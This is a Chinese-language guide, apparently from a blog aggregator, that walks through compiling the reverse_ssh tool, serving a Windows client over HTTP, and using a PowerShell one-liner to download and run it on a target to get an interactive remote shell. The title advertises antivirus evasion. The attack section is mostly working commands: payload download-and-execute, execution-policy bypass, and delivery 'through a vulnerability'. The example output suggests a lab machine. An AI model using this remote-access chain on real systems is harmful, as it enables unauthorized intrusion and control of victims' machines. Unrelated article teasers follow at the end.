reverse_ssh 建立反向 SSH 连接指南 混淆AV [好东西哟]

目录

🌐 工具简介

⚙️ 前提条件

攻击主机 (Linux)

目标主机 (Windows)

📋 详细步骤

步骤 1:安装 Go 环境

步骤 2:安装必要依赖

步骤 3:下载并编译 reverse_ssh

步骤 4:配置密钥

步骤 5:启动 reverse_ssh 服务器

步骤 6:创建 PowerShell 脚本

步骤 7:生成 diff.txt

步骤 8:启动 HTTP 服务器

步骤 9:目标主机:执行 PowerShell 脚本

步骤 10:攻击主机:确认连接并获取 ID

步骤 11:攻击主机:建立 SSH 连接

❗️ 错误排查与修复

错误 1:主机密钥验证失败

错误 2:公钥认证失败


🌐 工具简介

reverse_ssh 是一个基于 Go 语言开发的开源工具,用于创建反向 SSH 连接。它允许 Windows 目标主机绕过防火墙或 NAT,主动连接到攻击主机的 SSH 服务器,提供交互式 PowerShell shell。

  • 服务器端:运行在攻击主机,监听指定端口(如 3232)。

  • 客户端 (client.exe):运行在 Windows 目标主机,连接到攻击主机。

  • 功能:支持动态端口转发、文件传输(SCP/SFTP)及 Windows 交互式 shell(通过 conpty/winpty)。


⚙️ 前提条件

攻击主机 (Linux)

  • 操作系统:Linux(如 Ubuntu)。

  • 工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客户端。

  • 防火墙:开放端口 3232(服务器端口)和 80(HTTP 服务器端口)。

  • IP 地址:10.10.14.52(通过 ifconfig 或 ip addr 确认)。

  • 用户:以 root 或普通用户(如 fidey)操作,需注意文件权限。

目标主机 (Windows)

  • 系统:Windows(支持 PowerShell)。

  • 网络:可访问 10.10.14.52:3232 和 10.10.14.52:80。

  • 权限:通过漏洞利用或其他方式可执行 PowerShell 脚本。


📋 详细步骤

以下步骤假设工作目录为 /home/fidey/Desktop/reverse_ssh,用户为 fidey,但以 root 执行部分命令。

步骤 1:安装 Go 环境

目标:确保 Go(版本 1.17 或更高)正确安装以编译 reverse_ssh。

  1. 检查现有 Go 版本:

    go version
  2. 如果版本低于 1.17 或未安装,继续以下步骤。

  3. 卸载旧版 Go(如有):

    sudo rm -rf /usr/local/go
    sudo apt remove golang-go -y
  4. 下载并安装 Go 1.22.3(截至 2025/05/21 的最新版本):

    wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
    sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
  5. 配置环境变量:

    • 编辑 ~/.bashrc 或 ~/.zshrc:

    vim ~/.bashrc
    • 添加:

    export PATH=$PATH:/usr/local/go/bin
  6. 使配置生效:

    source ~/.bashrc
  7. 验证 Go 安装:

    go version

    预期输出

    go version go1.22.3 linux/amd64
  8. 如果输出不正确,检查下载链接或环境变量配置。


步骤 2:安装必要依赖

目标:确保系统具备编译和运行 reverse_ssh 的依赖。

  1. 更新系统包索引:

    sudo apt update
  2. 安装 Git 和 make:

    sudo apt install git make -y
  3. 安装 OpenSSH 客户端(用于后续 SSH 连接):

    sudo apt install openssh-client -y
  4. 攻击主机生成ssh公钥私钥 命令解释:ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" ############## ssh-keygen OpenSSH 提供的密钥生成工具,用于创建 SSH 认证所需的公钥/私钥对。 ############## -t ed25519 指定密钥类型为 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 优势:安全性高(等效 RSA 3072 位)、生成速度快、密钥长度短(仅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私钥保存路径为 ~/.ssh/id_ed25519(用户家目录下的 .ssh 文件夹)。 公钥会自动生成在同路径下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 设置密钥的密码(passphrase)为空(""表示无密码)。 若需密码保护,可替换为 -N "your_password"。 ############## 命令输出示例:

    Generating public/private ed25519 key pair.
    Your identification has been saved in /home/user/.ssh/id_ed25519
    Your public key has been saved in /home/user/.ssh/id_ed25519.pub
    The key fingerprint is:
    SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname
    The key's randomart image is:
    +--[ED25519 256]--+
    |        .o+o.    |
    |       . oo . .  |
    |      . .  = o   |
    |       o  = * .  |
    |      . S + + .  |
    |         o = .   |
    |          + .    |
    |         . E     |
    |          ..     |
    +----[SHA256]-----+

步骤 3:下载并编译 reverse_ssh

目标:从 GitHub 获取 reverse_ssh v1.0.16 并编译生成服务器和客户端。

  1. 创建工作目录:

    mkdir -p /home/fidey/Desktop/reverse_ssh
    cd /home/fidey/Desktop/reverse_ssh
  2. 克隆 reverse_ssh 仓库(指定 v1.0.16):

    git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git
    cd reverse_ssh
  3. 编译服务器和客户端:

    make

    预期输出

    • bin/server(Linux 服务器)

    • bin/client(Linux 客户端)

    • bin/id_ed25519(服务器私钥)

    • bin/id_ed25519.pub(服务器公钥)

  4. 为 Windows 编译客户端:

    GOOS=windows GOARCH=amd64 make client

    预期输出:bin/client.exe(Windows 可执行文件)。

  5. 验证编译结果:

    ls -l bin/

    预期输出

    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server
    -rw------- 1 fidey fidey      411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey      102 May 21 13:00 id_ed25519.pub

步骤 4:配置密钥

目标:配置服务器密钥和攻击主机公钥以接受连接。

  1. 进入 bin 目录:

    cd bin
  2. 检查服务器密钥:

    ls id_ed25519 id_ed25519.pub
  3. 若缺失,重新生成:

    ssh-keygen -t ed25519 -f id_ed25519 -N ""
  4. 生成攻击主机的 SSH 密钥对(若未生成):

    • 检查 root 用户密钥:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
    • 若不存在,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  5. 创建并配置 authorized_keys:

    • 创建 authorized_keys 文件:

    touch authorized_keys
    • 添加攻击主机的公钥(假设以 root 连接):

    cat /root/.ssh/id_ed25519.pub >> authorized_keys

    注意:不要将 id_ed25519.pub(服务器公钥)复制到 authorized_keys,这是常见错误。

  6. 设置文件权限:

    chmod 600 authorized_keys id_ed25519
    chmod 644 id_ed25519.pub
  7. 验证权限:

    ls -l authorized_keys id_ed25519 id_ed25519.pub

    预期输出

    -rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys
    -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub

步骤 5:启动 reverse_ssh 服务器

目标:运行服务器,监听 0.0.0.0:3232。

  1. 确保在 bin 目录:

    pwd

    预期输出

    /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
  2. 启动服务器:

    ./server 0.0.0.0:3232 --insecure

    --insecure:跳过部分握手验证,简化连接。 预期输出

    2025/05/21 13:17:02 Listening on 0.0.0.0:3232
    2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519
    2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
  3. 若提示 authorized_keys 缺失,检查步骤 4。

  4. 验证端口监听:

    netstat -tuln | grep 3232

    预期输出

    tcp        0      0 0.0.0.0:3232            0.0.0.0:*               LISTEN

步骤 6:创建 PowerShell 脚本

目标:生成脚本让目标主机下载并执行 client.exe。

  1. 创建 hello_world.ps1:

    echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
  2. 验证脚本内容:

    cat hello_world.ps1

    预期输出

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232

步骤 7:生成 diff.txt

目标:将脚本保存为 diff 格式,便于传递。

  1. 初始化 Git 仓库:

    git init
  2. 添加并生成 diff:

    git add hello_world.ps1
    git diff --cached > diff.txt
  3. 验证 diff.txt:

    cat diff.txt

    预期输出

    diff --git a/hello_world.ps1 b/hello_world.ps1
    new file mode 100644
    --- /dev/null
    +++ b/hello_world.ps1
    @@ -0,0 +1 @@
    +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232

步骤 8:启动 HTTP 服务器

目标:提供 client.exe 下载。

  1. 确保 client.exe 存在:

    ls client.exe
  2. 启动 HTTP 服务器:

    python3 -m http.server 80

    在新终端运行,避免干扰服务器进程。

  3. 验证:在攻击主机或另一台机器上运行:

    curl http://10.10.14.52:80/client.exe

    应返回二进制数据或下载文件。


步骤 9:目标主机:执行 PowerShell 脚本

目标:通过漏洞利用运行脚本,建立反向连接。

  1. 传递脚本:

    • 将 diff.txt 内容转换为 C:\temp\hello_world.ps1(通过漏洞传递)。

    • 示例内容:

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
  2. 执行脚本:

    • 在目标主机打开 PowerShell(Win + R,输入 powershell)。

    • 运行:

    powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
    • 脚本下载 client.exe 并运行,连接到 10.10.14.52:3232。

  3. 检查 client.exe 是否运行:

    dir C:\windows\temp\client.exe
    • 若缺失,检查 HTTP 服务器或防病毒软件拦截。


步骤 10:攻击主机:确认连接并获取 ID

目标:记录目标主机的连接 ID。

  1. 查看服务器终端输出:

    • 成功连接示例:

    2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
  2. 记录连接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。


步骤 11:攻击主机:建立 SSH 连接

目标:通过连接 ID 获取目标主机的 PowerShell shell。

  1. 尝试连接:

    ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
  2. 成功后进入 PowerShell shell: 预期输出

    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami
    coder\svc_teamcity

❗️ 错误排查与修复

错误 1:主机密钥验证失败

错误信息

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
Host key for [10.10.14.52]:3232 has changed and you have requested strict checking.
Host key verification failed.

原因:/root/.ssh/known_hosts 中的主机密钥与当前服务器密钥不匹配。 解决方案

  1. 移除旧主机密钥:

    ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
  2. 临时禁用严格检查(仅测试用):

    ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
  3. 重新连接:

    ssh -J 10.10.14.52:3232 <connection_id>

错误 2:公钥认证失败

错误信息

root@10.10.14.52: Permission denied (publickey).
kex_exchange_identification: Connection closed by remote host

原因:攻击主机的公钥未在服务器的 authorized_keys 中。 解决方案

  1. 检查攻击主机密钥:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
  2. 若缺失,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  3. 添加公钥到 authorized_keys:

    cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/85177.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu 下搭建ESP32 ESP-IDF开发环境,并在windows下用VSCode通过SSH登录Ubuntu开发ESP32应用

Ubuntu 下搭建ESP32 ESP-IDF开发环境&#xff0c;网上操作指南很多&#xff0c;本来一直也没有想过要写这么一篇文章。因为我其实不太习惯在linux下开发应用&#xff0c;平时更习惯windows的软件操作&#xff0c;只是因为windows下开发ESP32的应用编译时太慢&#xff0c;让人受…

Rust使用Cargo构建项目

文章目录 你好&#xff0c;Cargo&#xff01;验证Cargo安装使用Cargo创建项目新建项目配置文件解析默认代码结构 Cargo工作流常用命令速查表详细使用说明1. 编译项目2. 运行程序3.快速检查4. 发布版本构建 Cargo的设计哲学约定优于配置工程化优势 开发建议1. 新项目初始化​2. …

免费且好用的PDF水印添加工具

软件介绍 琥珀扫描.zip下载链接&#xff1a;https://pan.quark.cn/s/3a8f432b29aa 今天要给大家推荐一款超实用的PDF添加水印工具&#xff0c;它能够满足用户给PDF文件添加水印的需求&#xff0c;而且完全免费。 这款PDF添加水印的软件有着简洁的界面&#xff0c;操作简便&a…

NW969NW978美光闪存颗粒NW980NW984

NW969NW978美光闪存颗粒NW980NW984 技术解析&#xff1a;NW969、NW978、NW980与NW984的架构创新 美光&#xff08;Micron&#xff09;的闪存颗粒系列&#xff0c;尤其是NW969、NW978、NW980和NW984&#xff0c;代表了存储技术的前沿突破。这些产品均采用第九代3D TLC&#xf…

Mysql常用知识3:Kafka和数据库优化

文章目录 一、分布式消息系统&#xff08;Kafka相关问题5-10&#xff09;5. Kafka如何保证消息不丢失&#xff1f;6. 项目中Kafka具体怎么使用的&#xff1f;7. 消息异常未发送成功怎么解决&#xff1f;8. 重试具体怎么做的&#xff0c;循环吗&#xff1f;9. 重试多次失败怎么办…

常见的RAG文档解析辅助工具汇总及企业选型思考

以下当前比较知名的RAG的文档解析辅助工具的开源项目汇总&#xff0c;包含核心功能、License信息及GitHub地址&#xff1a; 1. RAGFlow 核心功能&#xff1a;支持PDF/扫描件/CAD等23种格式解析&#xff0c;OCR准确率98%&#xff0c;知识图谱融合&#xff0c;混合检索&#xf…

基于Sqoop的MySQL-Hive全量/增量同步解决方案(支持多表批量处理

一、全量同步方案设计 1.1 基础命令模板 sqoop import \ --connect jdbc:mysql://mysql_host:3306/db_name \ --username user \ --password pass \ --table source_table \ --hive-import \ --hive-table target_table \ --hive-overwrite \ # 覆盖已有表 --num-mappers 8 …

前端学习(7)—— HTML + CSS实现博客系统页面

目录 一&#xff0c;效果展示 二&#xff0c;实现博客列表页 2.1 实现导航栏 2.2 实现个人信息 2.3 实现博客列表 三&#xff0c;实现博客正文页 3.2 复用 3.4 实现博客正文 四&#xff0c;实现博客登录页 4.1 版心 4.2 登录框 五&#xff0c;实现博客编辑页 5.1 …

【技能拾遗】——家庭宽带单线复用布线与配置(移动2025版)

&#x1f4d6; 前言&#xff1a;在家庭网络拓扑中&#xff0c;客厅到弱电箱只预埋了一根网线&#xff0c;由于已将广电的有线电视取消并改用IPTV。现在需要解决在客厅布置路由器和观看IPTV问题&#xff0c;这里就用到单线复用技术。 目录 &#x1f552; 1. 拓扑规划&#x1f55…

VTK|实现类似CloundCompare的测量功能

文章目录 CloundCompare在点、线、面三种模式下的显示内容✅ 图1&#xff1a;点模式✅ 图2&#xff1a;线模式✅ 图3&#xff1a;面模式 增加控制菜单栏实现测量功能类如何调用项目git链接 CloundCompare在点、线、面三种模式下的显示内容 点 线 面 三张图展示了 CloudComp…

4000万日订单背后,饿了么再掀即时零售的“效率革命”

当即时零售转向价值深耕&#xff0c;赢面就是综合实力的强弱。 文&#xff5c;郭梦仪 编&#xff5c;王一粟 在硝烟弥漫的外卖行业“三国杀”中&#xff0c;饿了么与淘宝闪购的日订单量竟然突破了4000万单。 而距淘宝闪购正式上线&#xff0c;还不到一个月。 在大额福利优惠…

vedio.ontimeupdate()和video.onloadeddata()

video.onloadeddata &#xff08;&#xff09; video.onloadeddata 是 JavaScript 中用于监听 HTML <video> 元素 「当前帧数据已加载」 的事件处理器。当视频的第一帧画面数据加载完成&#xff08;足以开始播放&#xff09;时&#xff0c;会触发此事件。 1. 基本用法 …

Baklib内容中台革新企业知识实践

Baklib智能知识中枢构建 作为现代企业知识管理的核心架构&#xff0c;Baklib内容中台通过整合多源异构数据形成智能化知识中枢&#xff0c;实现从信息采集到价值转化的全链路管理。其底层采用跨平台数据贯通技术&#xff0c;支持API接口与企业现有CRM、ERP系统无缝对接&#x…

用不太严谨的文字介绍遥测自跟踪天线的基本原理

前两天跟一个客户见面的时候&#xff0c;客户问我&#xff1a;遥测自跟踪天线能够跟踪目标&#xff0c;是什么原理&#xff1f;不需要目标的位置&#xff0c;怎么做到自跟踪的&#xff1f; 突然一瞬间&#xff0c;有点语塞。 难道要介绍天线、馈源、极化、左旋、右旋、和差网…

VS配置redis环境、redis简单封装

一、安装redis数据库 1.下载redis的压缩包 wget https://download.redis.io/releases/redis-6.0.5.tar.g 2.解压缩redis压缩包&#xff0c;一般就在当前路径 tar -zvxf redis-6.0.5.tar.gz -C /usr/local/redis 方便找我把它解压缩在/usr/local/redis&#xff0c;如果没有r…

C++23 已移除特性解析

文章目录 引言C23 已移除特性介绍1. 垃圾收集的支持和基于可达性的泄漏检测&#xff08;P2186R2&#xff09;背景与原理存在的问题移除的影响 2. 混合宽字符串字面量拼接非良构&#xff08;P2201R1&#xff09;宽字符串编码概述混合拼接的问题示例分析移除的意义 3. 不可编码宽…

Cloudflare

Cloudflare 是一个网络基础设施和网站安全服务提供商&#xff0c;它的主要作用是让网站 更快、更安全、更可靠。简单来说&#xff0c;它是一个“护盾 加速器”。 &#x1f9e9; Cloudflare 的主要功能&#xff1a; 1. &#x1f680; 加速网站访问&#xff08;CDN&#xff09…

Spring Boot启动慢?Redis缓存击穿?Kafka消费堆积?——Java后端常见问题排查实战

Spring Boot启动慢&#xff1f;Redis缓存击穿&#xff1f;Kafka消费堆积&#xff1f;——Java后端常见问题排查实战 引言 Java后端系统因其丰富的技术栈和复杂的业务逻辑&#xff0c;常常面临启动延迟、性能瓶颈、异常错误等多种挑战。从核心语言、Web框架到分布式微服务及缓…

数字人引领政务新风尚:智能设备助力政务服务

在信息技术飞速发展的今天&#xff0c;政府机构不断探索提升服务效率和改善服务质量的新途径。实时交互数字人在政务服务中的应用正成为一大亮点&#xff0c;通过将“数字公务员”植入各种横屏智能设备中&#xff0c;为民众办理业务提供全程辅助。这种创新不仅优化了政务大厅的…

ToolsSet之:十六进制及二进制编辑运算工具

ToolsSet是微软商店中的一款包含数十种实用工具数百种细分功能的工具集合应用&#xff0c;应用基本功能介绍可以查看以下文章&#xff1a; Windows应用ToolsSet介绍https://blog.csdn.net/BinField/article/details/145898264 ToolsSet中Number菜单下的Hex Operate工具可以进…